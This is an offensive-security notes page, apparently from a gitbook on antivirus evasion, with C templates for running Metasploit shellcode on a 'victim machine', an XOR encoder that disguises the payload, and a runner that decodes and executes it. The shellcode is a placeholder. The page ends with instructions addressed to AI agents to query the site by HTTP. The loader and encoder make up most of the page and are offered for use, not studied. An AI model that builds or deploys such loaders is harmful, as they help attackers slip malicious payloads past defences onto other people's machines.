# C Runner

Run metasploit shellcode

<pre><code>// compile with victim machine
// gcc -o shell.out shell.c -z execstact
// run with : ./shell.out
#include &#x3C;stdio.h>
#include &#x3C;stdlib.h>
#include &#x3C;unistd.h>

unsigned char buff[] =
"...."
"...shellcode..."
"....."

<strong>int main (int argc, char **argv)
</strong>{
    // run shellcode
    int (*apple)()=(int(*)())buff;
    apple();
}
</code></pre>

## Encoder C

Encoder XOR

<pre><code>// compile with kali machine
// gcc -o encoder.out encoder.c
// run with : ./shell.out
#include &#x3C;stdio.h>
#include &#x3C;stdlib.h>
#include &#x3C;unistd.h>

unsigned char buff[] =
"...."
"...shellcode..."
"....."
<strong>int main (int argc, char **argv)
</strong>{
    char xorKey = 'A';
    int payloadLength = (int) sizeof(buff);
    
    for (int i=0; i&#x3C;payloadLength; i++)
    {
         printf("\\x%02X", buff[i]^xorKey);   
    }
    return 0;
}
</code></pre>

Runner XOR in C:

```
// compile with victim machine
// gcc -o shell.out shell.c -z execstact
// run with : ./shell.out
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

unsigned char buff[] = 
"<encoded payload>"

int main (int argc, char **argv)
{
    // run shellcode decoded from xor
    char xorKey = 'A';
    int arraysize = (int) sizeof(buff);
    for (int i=0; i<arraysize-1; i++)
    {
        buff[i] = buff[i]^xorKey;
    }
    // run decoded payload
    int (*apple)()=(int(*)())buff;
    apple();
}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacker-mind.gitbook.io/hacker-mind/payload/bypass-all-the-things/bypass-av-linux/c-runner.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
